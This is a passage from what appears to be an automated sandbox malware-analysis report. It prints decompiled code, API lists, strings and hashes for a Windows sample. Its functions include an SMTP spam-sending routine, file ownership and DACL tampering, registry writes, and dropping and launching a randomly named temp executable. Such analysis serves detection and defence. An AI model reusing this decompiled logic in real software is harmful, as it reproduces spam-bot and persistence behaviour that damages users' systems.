RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x5f, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
plgs:, xrefs: 004066AA
va=%08X%08X uef=%p, xrefs: 00406595
Jan 13 2018, xrefs: 0040653A
12:08:32, xrefs: 00406535
%d=%p, xrefs: 004066F9
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
localcfg, xrefs: 0040672D
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
except_info, xrefs: 00406728

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: faf51cf35fc2b028b43857c3fe3877b47994c3a090abba08dca4dfa8b83a0f2b
Instruction ID: b232616a873ef32582e262be790304e867ba263e0a6c3847dea9f814b1fa2d9f
Opcode Fuzzy Hash: faf51cf35fc2b028b43857c3fe3877b47994c3a090abba08dca4dfa8b83a0f2b
Instruction Fuzzy Hash: 66615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

ehlo %s, xrefs: 0040A7F5
Too big smtp respons (%d bytes), xrefs: 0040A9B1
Incorrect respons, xrefs: 0040AB39
Too small respons, xrefs: 0040A9C9
AUTH LOGIN, xrefs: 0040A80C
ESMTP, xrefs: 0040AA38
quit, xrefs: 0040A86C
localcfg, xrefs: 0040AB0B
., xrefs: 0040A8CA
rcpt to:<%s>, xrefs: 0040A855
helo %s, xrefs: 0040A803
data, xrefs: 0040A85E
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
mail from:<%s>, xrefs: 0040A848

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 02F07A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 02F07A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 02F07AB6
GetLengthSid.ADVAPI32(?), ref: 02F07AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 02F07AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 02F07B08
EqualSid.ADVAPI32(?,?), ref: 02F07B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 02F07B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02F07B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 02F07B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 02F07B60
LocalFree.KERNEL32(00000000), ref: 02F07B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 02F07B83
GetAce.ADVAPI32(?,?,?), ref: 02F07BB3
EqualSid.ADVAPI32(?,?), ref: 02F07BDA
DeleteAce.ADVAPI32(?,?), ref: 02F07BF3
EqualSid.ADVAPI32(?,?), ref: 02F07C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 02F07C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02F07CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 02F07CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 02F07CC9
LocalFree.KERNEL32(00000000), ref: 02F07CD7

Strings

D, xrefs: 02F07AAC

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: 79df504ba8710515a4c5d8e52775bd65749bcf461049c805d04b1bc81571a322
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: FB815171E0011DAFDB21DFA4DD84FEEBBB8EF08384F1480AAE605E6190D7759A41DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
